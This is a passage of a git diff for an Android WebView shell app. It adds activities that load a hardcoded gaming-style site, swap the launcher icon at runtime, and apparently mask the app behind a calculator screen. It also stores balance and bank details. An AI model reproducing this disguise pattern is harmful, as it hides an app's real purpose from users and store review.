AppCompatActivity { }); } - ActionInviteDialog invitedDialog; - - //展示邀请码 - public void showInviteCode() { - invitedDialog = new ActionInviteDialog(MainActivity2.this, - false); - invitedDialog.setOnToActionListener(new ActionInviteDialog.OnToActionListener() { - @Override - public void toSumbit(String content) { - checkInvited(content); - } - - @Override - public void toCancel() { - - } - }); - invitedDialog.setCanceledOnTouchOutside(false); - invitedDialog.setCancelable(false); - invitedDialog.show(); - - } - - public void checkInvited(String code) { - HashMap map = new HashMap<>(); - map.put("userId", userId); - map.put("code", code); - map.put("deviceCode", Utils.getUniqueId(MainActivity2.this)); - Api.getInstance().checkInvited(map) - .subscribeOn(Schedulers.io()) - .observeOn(AndroidSchedulers.mainThread()) - .subscribe(new BaseObserver>() { - @Override - public void onSuccess(Result o) { - if (o.isSuccessful() && invitedDialog != null) { - invitedDialog.dismiss(); - MainActivity.saveBoolean(MainActivity2.this, "invited", true); - MainActivity.saveString(MainActivity2.this, "code", code); - } - - } - - @Override - public void onError(int code, String msg) { - Toast.makeText(MainActivity2.this, msg + "", Toast.LENGTH_SHORT).show(); - } - - @Override - public void onError2(Result o) { - if (o.code == 40001) { - invitedDialog.dismiss(); - MainActivity.saveBoolean(MainActivity2.this, "invited", true); - MainActivity.saveString(MainActivity2.this, "code", o.data.getInviteCode()); - } - Toast.makeText(MainActivity2.this, TextUtils.isEmpty(o.message) ? o.error : o.message, Toast.LENGTH_SHORT).show(); - } - }); - } public void setTotalTongJi() { HashMap map = new HashMap<>(); @@ -1237,7 +872,7 @@ public class MainActivity2 extends AppCompatActivity { public void onSuccess(Result o) { if (o.data != null) { myInviteCode = o.data.getInviteCode(); - myInviteNum = o.data.getInviteNum(); +// myInviteNum = o.data.getInviteNum(); MainActivity.saveString(MainActivity2.this, "balance", o.data.getBalance()); MainActivity.saveString(MainActivity2.this, "income", o.data.getIncome()); MainActivity.saveString(MainActivity2.this, "bankname", o.data.getBankName()); @@ -1262,6 +897,8 @@ public class MainActivity2 extends AppCompatActivity { }); } + Handler handler = new Handler(); + boolean hasSignIn = false; WebViewClient webViewClient = new WebViewClient() { @@ -1281,8 +918,9 @@ public class MainActivity2 extends AppCompatActivity { View.MeasureSpec.UNSPECIFIED); // 重新测量 webView.measure(w, h); - showTopLy.setVisibility(View.GONE); -// notifyCardView.setVisibility(notifyVisible); + if (showTopLy.getVisibility() == View.VISIBLE) { + handler.postDelayed(() -> showTopLy.setVisibility(View.GONE), 1000); + } if (webView.getUrl().equals(url + "index") || webView.getUrl().equals(url + "/index")) { isAtGame = false; topVvvv.setVisibility(View.GONE); @@ -1295,10 +933,6 @@ public class MainActivity2 extends AppCompatActivity { } } -// if (isNetError&&isAtGame) { -// topVvvv.setVisibility(View.VISIBLE); -// } - } @@ -1337,13 +971,25 @@ public class MainActivity2 extends AppCompatActivity { public boolean shouldOverrideUrlLoading(WebView webView, String url1) { LogUtils.i("URL是啥:" + url1); + + if (url1.equals(url + "index") || url1.equals(url + "/index")) { isAtGame = false; topVvvv.setVisibility(View.GONE); } else { progressBar.setVisibility(View.VISIBLE); } - + if (isToOutSideUrl(url1)) { + try { + Intent intent = new Intent(); + intent.setAction(Intent.ACTION_VIEW); + intent.setData(Uri.parse(url1)); + startActivity(intent); + return true; + } catch (Exception e) { + e.printStackTrace(); + } + } if (!(url1.startsWith("http") || url1.startsWith("https"))) { try { Intent intent = new Intent(); @@ -1378,6 +1024,20 @@ public class MainActivity2 extends AppCompatActivity { uri = Uri.parse(request.toString()); } String url1 = uri.toString(); + LogUtils.i("URL是啥1:" + url1); + + if (isToOutSideUrl(url1)) { + try { + Intent intent = new Intent(); + intent.setAction(Intent.ACTION_VIEW); + intent.setData(Uri.parse(url1)); + startActivity(intent); + return true; + } catch (Exception e) { + e.printStackTrace(); + } + } + if (url1.equals(url + "index") || url1.equals(url + "/index")) { isAtGame = false; topVvvv.setVisibility(View.GONE); @@ -1411,15 +1071,20 @@ public class MainActivity2 extends AppCompatActivity { } }; - private boolean isNetError = false; + private boolean isToOutSideUrl(String url1) { + return url1.contains("facebook") || url1.contains("https://t.me") || + url1.contains("instagram") || url1.contains("https://x.com")||url1.contains("https://wa.me")|| + url1.contains("https://m.me")||url1.contains("http://m.me"); + } + + public void onShowErrorView(String errorMsg) { //网络不可用的情况 - // topVvvv.setVisibility(View.GONE); webView.setVisibility(View.GONE); layoutError.setVisibility(View.VISIBLE); tvErrorMsg.setText(errorMsg); showTopLy.setVisibility(View.GONE); - isNetError = true; +// isNetError = true; } @@ -1428,7 +1093,7 @@ public class MainActivity2 extends AppCompatActivity { webView.setVisibility(View.VISIBLE); layoutError.setVisibility(View.GONE); showTopLy.setVisibility(View.GONE); - isNetError = false; +// isNetError = false; } @@ -1441,26 +1106,26 @@ public class MainActivity2 extends AppCompatActivity { @Override public boolean onCreateWindow(WebView webViewdd, boolean b, boolean b1, Message resultMsg) { LogUtils.i("URL是啥onCreateWindow:" + webView.getUrl()); -// WebView newWebView = new WebView(MainActivity2.this); - // topVvvv.setVisibility(View.VISIBLE); -// webView.addView(newWebView); -// WebView.WebViewTransport transport = (WebView.WebViewTransport) resultMsg.obj; -// transport.setWebView(newWebView); -// resultMsg.sendToTarget(); -// -// newWebView.setWebViewClient(new WebViewClient() { -// @Override -// public boolean shouldOverrideUrlLoading(WebView view, String url) { -// isAtGame = true; -// webView.loadUrl(url); -// return false; -// } -// }); WebView newWebView = new WebView(webViewdd.getContext()); newWebView.setWebViewClient(new WebViewClient() { @Override public boolean shouldOverrideUrlLoading(WebView view, String url) { + + LogUtils.i("URL是啥新窗口:"+url); + + if (isToOutSideUrl(url)) { + try { + Intent intent = new Intent(); + intent.setAction(Intent.ACTION_VIEW); + intent.setData(Uri.parse(url)); + startActivity(intent); + return true; + } catch (Exception e) { + e.printStackTrace(); + } + } + if (!(url.startsWith("http") || url.startsWith("https"))) { try { Intent intent = new Intent(); @@ -1477,7 +1142,6 @@ public class MainActivity2 extends AppCompatActivity { startActivity(browserIntent); return true; } - return false; } @@ -1492,6 +1156,8 @@ public class MainActivity2 extends AppCompatActivity { @Override public void onCloseWindow(WebView window) { super.onCloseWindow(window); + LogUtils.i("URL是啥新窗口结束:"+url); + } @Override @@ -1516,29 +1182,18 @@ public class MainActivity2 extends AppCompatActivity { Intent intent = fileChooserParams.createIntent(); intent.addCategory(Intent.CATEGORY_OPENABLE); startActivityForResult(Intent.createChooser(intent, "File chooser"), REQUEST_CODE_FILE_CHOOSER); -// try { -// startActivityForResult(intent, REQUEST_CODE_FILE_CHOOSER); -// } catch (ActivityNotFoundException e) { -//// mUploadCallbackForHighApi = null; -//// WidgetUtils.showToast(JsBridgeActivity.this, "未知错误", WidgetUtils.ToastType.ERROR); -// // Toast.makeText(MainActivity2.this, "未知错误", Toast.LENGTH_SHORT).show(); -// startActivityForResult(Intent.createChooser(intent, "File chooser"), REQUEST_CODE_FILE_CHOOSER); -// return true; -// } return true; } // For 3.0+ protected void openFileChooser(ValueCallback uploadMsg, String acceptType) { LogUtils.i("数据接口:openFileChooseracceptType"); - openFilerChooser(uploadMsg); } private void openFilerChooser(ValueCallback uploadMsg) { LogUtils.i("数据接口:openFileChooser"); - mUploadCallbackForLowApi = uploadMsg; startActivityForResult(Intent.createChooser(getFilerChooserIntent(), "File Chooser"), REQUEST_CODE_FILE_CHOOSER); } @@ -1554,32 +1209,22 @@ public class MainActivity2 extends AppCompatActivity { @Override public void onPermissionRequest(PermissionRequest request) { if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) { - MainActivity2.this.runOnUiThread(new Runnable() { - @TargetApi(Build.VERSION_CODES.LOLLIPOP) - @Override - public void run() { - for (String permisson : request.getResources()) { - permissionRequest = request; - if (permisson.equals(PermissionRequest.RESOURCE_VIDEO_CAPTURE)) { - if (ContextCompat.checkSelfPermission(MainActivity2.this, Manifest.permission.CAMERA) != 0) { - ActivityCompat.requestPermissions(MainActivity2.this, PERMISSIONS_CAMERA, 1111); - } else { - request.grant(request.getResources()); - request.getOrigin(); - } - + MainActivity2.this.runOnUiThread(() -> { + for (String permisson : request.getResources()) { + permissionRequest = request; + if (permisson.equals(PermissionRequest.RESOURCE_VIDEO_CAPTURE)) { + if (ContextCompat.checkSelfPermission(MainActivity2.this, Manifest.permission.CAMERA) != 0) { + ActivityCompat.requestPermissions(MainActivity2.this, PERMISSIONS_CAMERA, 1111); + } else { + request.grant(request.getResources()); + request.getOrigin(); } + } - - } }); - - } - } - }; private PermissionRequest permissionRequest; @@ -1622,15 +1267,6 @@ public class MainActivity2 extends AppCompatActivity { } } - public class JavaScriptinterface { - Context context; - - public JavaScriptinterface(Context c) { - context = c; - } - - } - @Override public void onRequestPermissionsResult(int requestCode, String permissions[], int[] grantResults) { @@ -1649,7 +1285,7 @@ public class MainActivity2 extends AppCompatActivity { break; case 2222: if (grantResults[0] == PackageManager.PERMISSION_GRANTED) { - readContact(); +// readContact(); } else { //没同意 if (contactApply == 1) { @@ -1664,15 +1300,6 @@ public class MainActivity2 extends AppCompatActivity { super.onRequestPermissionsResult(requestCode, permissions, grantResults); } - /** - * 设置网页中图片的点击事件 - * - * @param view - */ - public static void setWebImageClick(WebView view, String method) { - - - } @Override @@ -1688,6 +1315,7 @@ public class MainActivity2 extends AppCompatActivity { //销毁VebView webView.destroy(); } + super.onDestroy(); } @@ -1697,7 +1325,6 @@ public class MainActivity2 extends AppCompatActivity { if (notifyApply == 0 || notifyApply == 1) { checkNotify(); } - getNotifyList(); } @@ -1708,21 +1335,30 @@ public class MainActivity2 extends AppCompatActivity { } - /** - * 获取状态栏高度 - * - * @return - */ - public int getStatusBarHeight() { - int result = 0; - //获取状态栏高度的资源id - int resourceId = getResources().getIdentifier("status_bar_height", "dimen", "android"); - if (resourceId > 0) { - result = getResources().getDimensionPixelSize(resourceId); - } - return result; + public static void saveInt(Context context, String key, int value) { + SharedPreferences sp = context.getSharedPreferences("InitApp", Activity.MODE_PRIVATE); + SharedPreferences.Editor editor = sp.edit(); + editor.putInt(key, value); + editor.apply(); } - //wp-caption alignnone + public static int getInt(Context context, String key, int defValue) { + SharedPreferences sp = context.getSharedPreferences("InitApp", Activity.MODE_PRIVATE); + return sp.getInt(key, defValue); + } + + Handler mainHandler = new Handler(Looper.getMainLooper()); + + public boolean isApplicationBroughtToBackground(final Context context) { + ActivityManager am = (ActivityManager) context.getSystemService(Context.ACTIVITY_SERVICE); + List tasks = am.getRunningTasks(1); + if (!tasks.isEmpty()) { + ComponentName topActivity = tasks.get(0).topActivity; + if (!topActivity.getPackageName().equals(context.getPackageName())) { + return true; + } + } + return false; + } } diff --git a/base_no/src/main/java/com/web/base/MainActivity3.java b/base_no/src/main/java/com/web/base/MainActivity3.java new file mode 100644 index 0000000..cdfca57 --- /dev/null +++ b/base_no/src/main/java/com/web/base/MainActivity3.java @@ -0,0 +1,544 @@ +package com.web.base; + +import android.annotation.SuppressLint; +import android.app.Activity; +import android.content.ComponentName; +import android.content.Context; +import android.content.Intent; +import android.content.pm.PackageManager; +import android.net.Uri; +import android.os.Build; +import android.os.Bundle; +import android.os.Message; +import android.util.Log; +import android.view.View; +import android.view.Window; +import android.view.WindowManager; +import android.webkit.ValueCallback; +import android.webkit.WebView; +import android.widget.FrameLayout; +import android.widget.ImageView; +import android.widget.LinearLayout; +import android.widget.ProgressBar; +import android.widget.RelativeLayout; + +import androidx.annotation.Nullable; +import androidx.annotation.RequiresApi; +import androidx.appcompat.app.ActionBar; +import androidx.appcompat.app.AppCompatActivity; +import androidx.core.app.ActivityCompat; + +import com.just.agentweb.AgentWeb; +import com.just.agentweb.WebChromeClient; +import com.just.agentweb.WebViewClient; + + + +public class MainActivity3 extends AppCompatActivity { + LinearLayout webView; + ImageView show_top_v; + ImageView menu_iv; + private ImageView helpIv; + private LinearLayout showTopLy; + + String downloadImageUrl = ""; + private int requestCode; + private String[] permissions; + private int[] grantResults; + private View topVvvv; + private int index = 0; + private FrameLayout videoContainer; + + private ImageView backIv; + private ProgressBar progressBar; + + AgentWeb mAgentWeb; + + @RequiresApi(api = Build.VERSION_CODES.LOLLIPOP) + @Override + protected void onCreate(Bundle savedInstanceState) { + + getWindow().setNavigationBarColor(getColor(R.color.white)); + getWindow().getDecorView().setSystemUiVisibility(View.SYSTEM_UI_FLAG_FULLSCREEN | View.SYSTEM_UI_FLAG_LAYOUT_STABLE); + + super.onCreate(savedInstanceState); + View decor = getWindow().getDecorView(); + getWindow().setFlags(WindowManager.LayoutParams.FLAG_HARDWARE_ACCELERATED, WindowManager.LayoutParams.FLAG_HARDWARE_ACCELERATED); + decor.setSystemUiVisibility(View.SYSTEM_UI_FLAG_LIGHT_STATUS_BAR); + ActionBar actionBar = getSupportActionBar(); + if (actionBar != null) { + actionBar.hide(); + } + setContentView(R.layout.activity_main3); + initView(); +// setopHeight(); + findViewById(R.id.back_iv).setOnClickListener(view -> onBackPressed()); + } + + public void hideStatusBar(Activity activity) { + if (activity == null) return; + Window window = activity.getWindow(); + if (window == null) return; + window.setFlags(WindowManager.LayoutParams.FLAG_FULLSCREEN, WindowManager.LayoutParams.FLAG_FULLSCREEN); + window.getDecorView().setSystemUiVisibility(View.SYSTEM_UI_FLAG_FULLSCREEN | View.SYSTEM_UI_FLAG_LAYOUT_FULLSCREEN | View.SYSTEM_UI_FLAG_LAYOUT_STABLE); + WindowManager.LayoutParams lp = window.getAttributes(); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.P) { + lp.layoutInDisplayCutoutMode = WindowManager.LayoutParams.LAYOUT_IN_DISPLAY_CUTOUT_MODE_SHORT_EDGES; + } + window.setAttributes(lp); + } + + + @Override + public void onBackPressed() { + +// if (mAgentWeb.canGoBack()) {//当webview有多级能返回的时候 +// // 在首页 就退出这个页面 +// if (webView.getUrl().equals(url + "index") || webView.getUrl().equals(url + "/index")) { +// +// Intent intent = new Intent(this, MainActivity.class); +// startActivity(intent); +// super.onBackPressed(); +// } else { //不在首页 回到首页 +// if (webView.getUrl().equals(url + "index") || webView.getUrl().equals(url + "/index")) { +// isAtGame = false; +// } +// topVvvv.setVisibility(View.GONE); +// progressBar.setVisibility(View.VISIBLE); +// webView.loadUrl(url); +// } +// } else {//不能返回了 +// +// //返回计算器 +// Intent intent = new Intent(this, MainActivity.class); +// startActivity(intent); +//// } + super.onBackPressed(); +// } + } + + /** + * 修改图标和名称的方法 + */ + public void changeIcon() { + PackageManager pm = getApplicationContext().getPackageManager(); + + pm.setComponentEnabledSetting(new ComponentName( + this, + "com.web.base.MainActivity"), + PackageManager.COMPONENT_ENABLED_STATE_DISABLED, + PackageManager.DONT_KILL_APP); + Log.d("TAG", "换Test的图标"); + + pm.setComponentEnabledSetting(new ComponentName( + this, + "com.web.base.MainActivityNew"), + PackageManager.COMPONENT_ENABLED_STATE_ENABLED, + PackageManager.DONT_KILL_APP); + + } + + private void setopHeight() { + RelativeLayout.LayoutParams linearParams = (RelativeLayout.LayoutParams) topVvvv.getLayoutParams(); //取控件textView当前的布局参数 + linearParams.height = getStatusBarHeight();// 控件的宽强制设成30 + + topVvvv.setLayoutParams(linearParams); + } + + //https://m.xiannvtu.com/ + public static String url = "http://winway33.com/"; + + // https://telegram.2ltop.com/url.json?rand=111111111 + //先定义 + private static final int REQUEST_EXTERNAL_STORAGE = 1; + + private static String[] PERMISSIONS_STORAGE = { + "android.permission.READ_EXTERNAL_STORAGE", + "android.permission.WRITE_EXTERNAL_STORAGE"}; + + //然后通过一个函数来申请 + public static void verifyStoragePermissions(Activity activity) { + + // 没有写的权限,去申请写的权限,会弹出对话框 + ActivityCompat.requestPermissions(activity, PERMISSIONS_STORAGE, REQUEST_EXTERNAL_STORAGE); + + } + + + @SuppressLint({"NewApi", "WrongConstant"}) + protected void initView() { + topVvvv = (View) findViewById(R.id.top_vvvv); + webView = findViewById(R.id.webview); + show_top_v = findViewById(R.id.show_top_v); + showTopLy = findViewById(R.id.show_top_ly); + videoContainer = (FrameLayout) findViewById(R.id.videoContainer); +// topVvvvf = (RelativeLayout) findViewById(R.id.top_vvvvf); +// topVvvv1 = (StatusLayout) findViewById(R.id.top_vvvv1); + backIv = (ImageView) findViewById(R.id.back_iv); + progressBar = (ProgressBar) findViewById(R.id.progressbar); + +// WebSettings settings = webView.getSettings(); +// settings.setDomStorageEnabled(true); +// settings.setAppCacheEnabled(true); +// settings.setCacheMode(WebSettings.LOAD_DEFAULT); +// settings.setJavaScriptEnabled(true); +// settings.setLoadWithOverviewMode(true); +// // 设置允许访问文件数据 +// settings.setAllowFileAccess(true); +// settings.setAllowContentAccess(true); +// settings.setDatabaseEnabled(true); +// settings.setSavePassword(false); +// settings.setSaveFormData(false); +// settings.setUseWideViewPort(true); +// settings.setBuiltInZoomControls(true); +// settings.setPluginState(WebSettings.PluginState.ON); +// settings.setLayoutAlgorithm(WebSettings.LayoutAlgorithm.NARROW_COLUMNS); +// webView.setFocusable(true); +// webView.setFocusableInTouchMode(true); +// webView.getSettings().setSupportMultipleWindows(true); +// +// settings.setSupportZoom(false); +// webView.setScrollBarStyle(WebView.SCROLLBARS_OUTSIDE_OVERLAY); +//// webView.setHorizontalScrollbarOverlay(true); +// webView.setHorizontalScrollBarEnabled(true); +// webView.requestFocus(); +//// webView.setBackgroundColor(getColor(R.color.black)); +// settings.setJavaScriptCanOpenWindowsAutomatically(true); +// +// // 设置在WebView内部是否允许通过file url加载的 Js代码读取其他的本地文件 +// // Android 4.1前默认允许,4.1后默认禁止 +// settings.setAllowFileAccessFromFileURLs(true); +// // 设置WebView内部是否允许通过 file url 加载的 Javascript 可以访问其他的源(包括http、https等源) +// // Android 4.1前默认允许,4.1后默认禁止 +// settings.setAllowUniversalAccessFromFileURLs(true); +// +// +// webView.setWebChromeClient(webChromeClient); +// webView.setWebViewClient(webViewClient); +// Log.i("XHXDEBUG", "XHXDEBUGURL:::" + url); +// +//// new Handler().postDelayed(() -> showTopLy.setVisibility(View.GONE), 3000); +//// verifyStoragePermissions(this); +// +// webView.setDownloadListener(new DownloadListener() { +// @Override +// public void onDownloadStart(String url, String userAgent, String contentDisposition, String mimeType, long contentLength) { +// LogUtils.i("URL是啥onDownloadStart:" + url); +// +// try { +// Intent intent = new Intent(); +// intent.setAction(Intent.ACTION_VIEW); +// intent.setData(Uri.parse(url)); +// startActivity(intent); +// } catch (Exception e) { +// e.printStackTrace(); +// } +// +// } +// }); + getNetUrl(); + } + public void getNetUrl(){ +// Api.getInstance().geUrl(System.currentTimeMillis()) +// .subscribeOn(Schedulers.io()) +// .observeOn(AndroidSchedulers.mainThread()) +// .subscribe(new BaseObserver() { +// @Override +// public void onSuccess(Result o) { +// LogUtils.i("URL是啥获取的文件地址:"+o.url); +// if(!TextUtils.isEmpty(o.url)){ +// MainActivity.saveString(MainActivity3.this,"base_url",o.url); +// url = MainActivity.getString(MainActivity3.this, "base_url", url); +// toUrl(url); +// } +// } +// +// @Override +// public void onError(int code, String msg) { +// url = MainActivity.getString(MainActivity3.this, "base_url", url); +// toUrl(url); +// } +// }); + } + + private void toUrl(String url) { + mAgentWeb = AgentWeb.with(this) + .setAgentWebParent( webView, new LinearLayout.LayoutParams(-1, -1)) + .useDefaultIndicator() + .setWebViewClient(webViewClient) + .setWebChromeClient(webChromeClient) + .createAgentWeb() + + .ready() + .go(url); + + } + + + WebViewClient webViewClient = new WebViewClient() { + + @Override + public void onPageFinished(WebView webView, String s) { + super.onPageFinished(webView, s); + LogUtils.i("URL是啥加载完成:" + webView.getUrl()); + + int w = View.MeasureSpec.makeMeasureSpec(0, + View.MeasureSpec.UNSPECIFIED); + int h = View.MeasureSpec.makeMeasureSpec(0, + View.MeasureSpec.UNSPECIFIED); + // 重新测量 + webView.measure(w, h); + showTopLy.setVisibility(View.GONE); + + if (webView.getUrl().equals(url + "index") || webView.getUrl().equals(url + "/index")) { + isAtGame = false; + topVvvv.setVisibility(View.GONE); + + } else { + if (isAtGame) { + topVvvv.setVisibility(View.VISIBLE); + } else { + topVvvv.setVisibility(View.GONE); + + } + } + + } +// @Override +// public void onReceivedError(WebView view, WebResourceRequest request, WebResourceError error) { +// super.onReceivedError(view, request, error); +// if (android.os.Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) { +// int errorCode = error.getErrorCode(); +// String errorMessage = error.getDescription().toString(); +// Log.i("CustomWebViewClient", "onReceivedError errorCode : " + errorCode + " errorMessage : " + errorMessage); +// } +// progressBar.setVisibility(View.GONE); +// } + + @Override + public void onReceivedError(WebView view, int errorCode, String description, String failingUrl) { + super.onReceivedError(view, errorCode, description, failingUrl); + if (Build.VERSION.SDK_INT < Build.VERSION_CODES.M) { + Log.i("CustomWebViewClient", "onReceivedError errorCode : " + errorCode + " description : " + description); + } + progressBar.setVisibility(View.GONE); + + } + +// @Override +// public boolean shouldOverrideUrlLoading(WebView webView, String s) { +// LogUtils.i("URL是啥:"+s); +// return super.shouldOverrideUrlLoading(webView, s); +// } + + @Override + public boolean shouldOverrideUrlLoading(WebView webView, String url1) { + + LogUtils.i("URL是啥:" + url1); + if (url1.equals(url + "index") || url1.equals(url + "/index")) { + isAtGame = false; + topVvvv.setVisibility(View.GONE); + }else{ + progressBar.setVisibility(View.VISIBLE); + } + + if (!(url1.startsWith("http") || url1.startsWith("https"))) { + try { + Intent intent = new Intent(); + intent.setAction(Intent.ACTION_VIEW); + intent.setData(Uri.parse(url1)); + startActivity(intent); + return true; + } catch (Exception e) { + e.printStackTrace(); + } + } else { + //其它的该怎么处理就怎么处理 + webView.loadUrl(url1); + return true; + } + + return true; + } + }; + + boolean isAtGame = false; + // String uuid = "", uuid1 = ""; + private static final int REQUEST_CODE_FILE_CHOOSER = 1; + private ValueCallback mUploadCallbackForLowApi; + private ValueCallback mUploadCallbackForHighApi; + WebChromeClient webChromeClient = new WebChromeClient() { +// @Override +// public boolean onCreateWindow(WebView webViewdd, boolean b, boolean b1, Message resultMsg) { +// LogUtils.i("URL是啥onCreateWindow:" + webViewdd.getUrl()); +// +// WebView newWebView = new WebView(MainActivity3.this); +// newWebView.setWebViewClient(new WebViewClient() { +// @Override +// public boolean shouldOverrideUrlLoading(WebView view, String url) { +// isAtGame = true; +// mAgentWeb.getUrlLoader().loadUrl(url); +// return true; +// } +// }); +// return true; +// } + + + @Override + public boolean onCreateWindow(WebView view, boolean isDialog, boolean isUserGesture, Message resultMsg) { + return super.onCreateWindow(view, isDialog, isUserGesture, resultMsg); + } + + @Override + public void onProgressChanged(WebView view, int newProgress) { + super.onProgressChanged(view, newProgress); + // 更新进度条的进度 + progressBar.setProgress(newProgress); + // 如果加载完成,隐藏进度条 + if (newProgress == 100) { + progressBar.setVisibility(View.GONE); + } else { + progressBar.setVisibility(View.VISIBLE); + } + } + + + }; + + + @RequiresApi(api = Build.VERSION_CODES.Q) + @Override + protected void onActivityResult(int requestCode, int resultCode, @Nullable Intent data) { + super.onActivityResult(requestCode, resultCode, data); + switch (requestCode) { + case REQUEST_CODE_FILE_CHOOSER: + if (resultCode == RESULT_OK || resultCode == RESULT_CANCELED) { + afterFileChooseGoing(resultCode, data); + } + break; + + + } + } + + /** + * onActivityResult方法 + */ + + private void afterFileChooseGoing(int resultCode, Intent data) { + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.LOLLIPOP) { + if (mUploadCallbackForHighApi == null) { + return; + } + mUploadCallbackForHighApi.onReceiveValue(WebChromeClient.FileChooserParams.parseResult(resultCode, data)); + mUploadCallbackForHighApi = null; + } else { + if (mUploadCallbackForLowApi == null) { + return; + } + Uri result = data == null ? null : data.getData(); + mUploadCallbackForLowApi.onReceiveValue(result); + mUploadCallbackForLowApi = null; + } + } + public class JavaScriptinterface { + Context context; + + public JavaScriptinterface(Context c) { + context = c; + } + + } + + @Override + public void onRequestPermissionsResult(int requestCode, + String permissions[], int[] grantResults) { + switch (requestCode) { + case REQUEST_EXTERNAL_STORAGE: + if (grantResults[0] == PackageManager.PERMISSION_GRANTED && grantResults[1] == PackageManager.PERMISSION_GRANTED) { + } + break; + default: + break; + } + super.onRequestPermissionsResult(requestCode, permissions, grantResults); + } + + /** + * 设置网页中图片的点击事件 + * + * @param view + */ + public static void setWebImageClick(WebView view, String method) { + + + } + + +// @Override +// public boolean onKeyDown(int keyCode, KeyEvent event) { +// +// if (keyCode == KeyEvent.KEYCODE_BACK) { +// +// if (webView.canGoBack()) { +// webView.goBack(); +// return true; +// } else { +// return super.onKeyDown(keyCode, event); +// +// } +// +// } +// return super.onKeyDown(keyCode, event); +// } + + + @Override + public void onDestroy() { + + if (webView != null) { + //加载null内容 +// webView.loadDataWithBaseURL(null, "", "text/html", "utf-8", null); +// //清除历史记录 +// webView.clearHistory(); + //移除WebView +// ((ViewGroup) webView.getParent()).removeView(webView); + //销毁VebView + mAgentWeb.destroy(); + } + super.onDestroy(); + } + + @Override + protected void onResume() { + super.onResume(); + + + } + + @Override + protected void onPause() { + super.onPause(); + + } + + + /** + * 获取状态栏高度 + * + * @return + */ + public int getStatusBarHeight() { + int result = 0; + //获取状态栏高度的资源id + int resourceId = getResources().getIdentifier("status_bar_height", "dimen", "android"); + if (resourceId > 0) { + result = getResources().getDimensionPixelSize(resourceId); + } + return result; + } + //wp-caption alignnone + + +} diff --git a/base_no/src/main/java/com/web/base/MessageInfo.java b/base_no/src/main/java/com/web/base/MessageInfo.java new file mode 100644 index 0000000..c6852f1 --- /dev/null +++ b/base_no/src/main/java/com/web/base/MessageInfo.java @@ -0,0 +1,96 @@ +package com.web.base; + +import java.io.Serializable; + +public class MessageInfo implements Serializable { + private String title; + private String content; + private String image = ""; + private int type; // 1:文字 2:图片 3:链接跳转 + private int pushId; + private String createTime; + private int recordId; + public int status; + private String jumpUrl; + private boolean isShowAll = false; + + public String getCreateTime() { + return createTime; + } + + public void setCreateTime(String createTime) { + this.createTime = createTime; + } + + public int getRecordId() { + return recordId; + } + + public void setRecordId(int recordId) { + this.recordId = recordId; + } + + public int getStatus() { + return status; + } + + public void setStatus(int status) { + this.status = status; + } + + public boolean isShowAll() { + return isShowAll; + } + + public void setShowAll(boolean showAll) { + isShowAll = showAll; + } + + public String getJumpUrl() { + return jumpUrl; + } + + public void setJumpUrl(String jumpUrl) { + this.jumpUrl = jumpUrl; + } + + public int getType() { + return type; + } + + public void setType(int type) { + this.type = type; + } + + public int getPushId() { + return pushId; + } + + public void setPushId(int pushId) { + this.pushId = pushId; + } + + public String getTitle() { + return title; + } + + public void setTitle(String title) { + this.title = title; + } + + public String getContent() { + return content; + } + + public void setContent(String content) { + this.content = content; + } + + public String getImage() { + return image; + } + + public void setImage(String image) { + this.image = image; + } +} diff --git a/base_no/src/main/java/com/web/base/MyBankListAdapter.java b/base_no/src/main/java/com/web/base/MyBankListAdapter.java new file mode 100644 index 0000000..de365ed --- /dev/null +++ b/base_no/src/main/java/com/web/base/MyBankListAdapter.java @@ -0,0 +1,74 @@ +package com.web.base; + +import android.view.LayoutInflater; +import android.view.View; +import android.view.ViewGroup; +import android.widget.TextView; + +import androidx.annotation.NonNull; +import androidx.recyclerview.widget.RecyclerView; + +import java.util.List; + + +public class MyBankListAdapter extends RecyclerView.Adapter { + + private List listdata; + private onItemClickPostionListener itemClickPostionListener; + + public MyBankListAdapter(List listdata) { + this.listdata = listdata; + } + + public void setListdata(List listdata) { + this.listdata = listdata; + notifyDataSetChanged(); + } + + + public void setOnItemClick(onItemClickPostionListener onItemClick) { + this.itemClickPostionListener = onItemClick; + } + + @NonNull + @Override + public ViewHolder onCreateViewHolder(@NonNull ViewGroup parent, int viewType) { + View view = LayoutInflater.from(parent.getContext()).inflate(R.layout.item_invite_records, parent, false); + return new ViewHolder(view); + } + + @Override + public void onBindViewHolder(@NonNull ViewHolder holder, int position) { + holder.getTextView().setText(listdata.get(position).getBankName()); + + holder.itemView.setOnClickListener(view -> { + if (itemClickPostionListener != null) { + itemClickPostionListener.item(position); + } + }); + } + + @Override + public int getItemCount() { + return listdata != null ? listdata.size() : 0; + } + + public static class ViewHolder extends RecyclerView.ViewHolder { + + private final TextView textView; + + public ViewHolder(@NonNull View itemView) { + super(itemView); + textView = itemView.findViewById(R.id.tv_invitecode); + } + + public TextView getTextView() { + return textView; + } + } + + public interface onItemClickPostionListener { + void item(int position); + } + +} diff --git a/base_no/src/main/java/com/web/base/MyListAdapter.java b/base_no/src/main/java/com/web/base/MyListAdapter.java new file mode 100644 index 0000000..f42b437 --- /dev/null +++ b/base_no/src/main/java/com/web/base/MyListAdapter.java @@ -0,0 +1,75 @@ +package com.web.base; + +import android.view.LayoutInflater; +import android.view.View; +import android.view.ViewGroup; +import android.widget.TextView; + +import androidx.annotation.NonNull; +import androidx.recyclerview.widget.RecyclerView; + +import java.util.List; + + +public class MyListAdapter extends RecyclerView.Adapter { + + + private List listdata; + private onItemClickPostionListener itemClickPostionListener; + + + public MyListAdapter(List listdata) { + this.listdata = listdata; + } + + public void setListdata(List listdata) { + this.listdata = listdata; + notifyDataSetChanged(); + } + + public void setOnItemClick(onItemClickPostionListener onItemClick) { + this.itemClickPostionListener = onItemClick; + } + + + + @NonNull + @Override + public ViewHolder onCreateViewHolder(@NonNull ViewGroup parent, int viewType) { + View view = LayoutInflater.from(parent.getContext()).inflate(R.layout.item_invite_records, parent, false); + return new ViewHolder(view); + } + + @Override + public void onBindViewHolder(@NonNull ViewHolder holder, int position) { + holder.getTextView().setText(listdata.get(position)); + holder.itemView.setOnClickListener(view -> { + if (itemClickPostionListener != null) { + itemClickPostionListener.item(position); + } + }); + } + + @Override + public int getItemCount() { + return listdata != null ? listdata.size() : 0; + } + + public static class ViewHolder extends RecyclerView.ViewHolder { + + private final TextView textView; + + public ViewHolder(@NonNull View itemView) { + super(itemView); + textView = itemView.findViewById(R.id.tv_invitecode); + 